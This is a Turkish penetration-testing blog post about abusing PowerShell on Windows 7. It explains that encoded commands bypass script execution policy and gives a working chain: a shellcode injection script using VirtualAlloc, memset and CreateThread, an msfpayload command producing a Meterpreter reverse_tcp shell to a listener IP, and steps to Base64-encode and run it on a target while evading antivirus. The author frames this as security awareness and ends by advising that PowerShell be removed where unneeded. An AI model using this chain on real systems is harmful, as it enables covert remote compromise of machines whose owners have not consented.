Komut Satırının Gücü Adına!

written by Mert SARICA | 6 Aralık, 2012

Yapılan istatistiklere göre 2011 yılının son çeyreğinde Windows XP işletim sistemi ile Windows 7 işletim sistemi arasındaki kullanım oranları birbirine oldukça yakınken, 2012 yılının son çeyreğinde Windows 7 işletim sistemi kullanım oranının Windows XP işletim sistemi kullanım oranını ikiye katlamış olması, penetrasyon testi/sızma testi gerçekleştiren bilişim güvenliği uzmanları arasında tek bir nedenden ötürü memnuniyetle karşılandı o da Windows 7 ile yüklü gelen Powershell'den başkası değildi.

Powershell, Mircosoft tarafından yönetim görevlerini otomatize etmek amacıyla geliştirilmiş, .NET sınıflarından faydalanarak betikler (script) geliştirilmesine imkan tanıyan yeni nesil komut satırıdır. İlk sürümü 2006 yılında Microsoft tarafından yayınlanan Powershell'in ikinci sürümü 2009 yılında Windows 7 ve Windows 2008 işletim sistemlerine entegre edilmiş üçüncü sürümü ise Windows 8 ve Windows Server 2012 işletim sistemlerine entegre edilerek kullanıcıların kullanımına sunulmuştur.

Powershell, güvenlik önlemi adına güvenilir kaynaklar tarafından geliştirilmemiş olan betiklerin çalıştırılmasına varsayılan (default) olarak izin vermez. Kurumsal ortamlarda da daha önce Powershell'in gücüne tanıklık etmiş olan Sistem Yöneticileri çoğunlukla Etki Alanı Denetleyicisi (DC) üzerinden Powershell'in güvenilir olmayan kaynaklardan indirilen betiklerin çalıştırılmasını yasaklamaktadırlar.

Ancak ve ancak sistem yöneticileri de dahil çoğu son kullanıcı bu betiklerin Command ve EncodedCommand (Base64 ile kodlanmış (encode) betik) ile de çalıştırıldığından haberdar değildir. Normal şartlarda betik çalıştırmaya izin vermeyen politikalar Command ve EncodedCommand ile atlatılabilmektedir.

Powershell'in betiklerde .NET sınıflarını kullanmaya imkan tanıması, C# ile yazılmış bir kod parçasını çalıştırma (runtime) esnasında derlemesi ve çalıştırması sayesinde örneğin komut enjeksiyonu (command injection) zafiyeti olan bir Windows Server 2008 işletim sisteminin komut satırına uzaktan erişmek (remote shell) veya basit şifre tahmini ile sızılan bir Windows 7 işletim sisteminin Metasploit'e bağlanmasını sağlamak mümkündür. En önemlisi ise Powershell sayesinde Antivirüs yazılımının kullanıldığı bir sistemde Antivirüs'e yakalanmadan istenilen kabuk kodu çalıştırabilmektedir.

Örnek olarak Powershell üzerinden kabuk kodu çalıştırmak için Matt Graeber tarafından geliştirilen aşağıdaki betiği kullanabilirsiniz.

```
$code = {$code = '[DllImport("kernel32.dll")]public static extern IntPtr
VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint
flProtect);[DllImport("kernel32.dll")]public static extern IntPtr
```

```
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr
memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -
memberDefinition $code -Name "Win32" -namespace Win32Functions -
passthru;[Byte[]];[Byte[]]$sc64 = ;[Byte[]]$sc = $sc64;$size = 0x1000;if
($sc.Length -gt 0x1000) {$size =
$sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le
($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i],
1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };}
```

Betiğin çalışabilmesi için $sc64 değişkenine hedef işlemci mimarisine uygun olan (x32 veya x64) kabuk kodunu kopyalamanız gerekmektedir. $sc64 değişkenine atanacak kabuk kodunu aşağıdaki şekilde oluşturabilirsiniz.

```
msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.128
PORT=4444 EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' |
cut -c2- | sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' |
more
```

Ardından betik bloğunu Powershell komut satırına kopyaladıktan sonra Base64 ile kodlamak için [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($code)) kodunu çalıştırmanız gerekmektedir. Son olarak Backtrack’de hazır bulunan Meterpreter ile hedef sistemi bağlamak için az önce elde ettiğiniz BASE64 ile kodlanmış betiği hedef sistemde powershell -EncodedCommand şeklinde çalıştırarak Meterpreter’ın Antivirüs yüklü hedef sistemde başarıyla çalışmasını sağlayabilirsiniz.

Sonuç olarak Powershell üstün özelliklerinin yanı sıra mevcut güvenlik kontrollerinin yetersiz olması nedeniyle kötüye kullanıma açık olduğu için kullanımına ihtiyaç duyulmayan sistemlerden kaldırılmasını tavsiye ederim.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.